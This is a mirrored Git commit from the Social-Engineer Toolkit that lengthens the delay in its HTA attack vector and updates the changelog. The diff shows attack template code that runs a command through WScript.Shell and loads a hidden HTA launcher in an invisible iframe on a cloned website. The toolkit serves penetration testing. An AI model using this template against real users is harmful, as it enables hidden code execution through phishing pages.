mirror of
https://github.com/trustedsec/social-engineer-toolkit
synced 2024-11-23 04:53:05 +00:00
fix hta attack vector timing
This commit is contained in:
parent
57df7346f0
commit
0ae40dd91c
2 changed files with 2 additions and 1 deletions
|
@ -3,6 +3,7 @@ version 7.2
|
|||
~~~~~~~~~~~~~~~~
|
||||
|
||||
* fixed an issue on installer not copying SET directory properly (why was I moving a file and ... nevermind.)
|
||||
* changed delay time for HTA attack vector from 3 seconds to 10 seconds to allow proper loading
|
||||
|
||||
~~~~~~~~~~~~~~~~
|
||||
version 7.1.2
|
||||
|
|
|
@ -39,7 +39,7 @@ def gen_hta_cool_stuff():
|
|||
# grab cloned website
|
||||
url = fetch_template()
|
||||
main1 = ("""<script>\na=new ActiveXObject("WScript.Shell");\na.run('%%windir%%\\\\System32\\\\cmd.exe /c %s', 0);window.close();\n</script>""" % (command))
|
||||
main2 = ("""<iframe id="frame" src="Launcher.hta" application="yes" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no>></iframe>\n<script type="text/javascript">setTimeout(function(){window.location.href="%s";}, 3000);</script>""" % url)
|
||||
main2 = ("""<iframe id="frame" src="Launcher.hta" application="yes" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no>></iframe>\n<script type="text/javascript">setTimeout(function(){window.location.href="%s";}, 10000);</script>""" % url)
|
||||
|
||||
# metasploit answer file here
|
||||
filewrite = open(setdir + "/meta_config", "w")
|
||||
|
|
Loading…
Reference in a new issue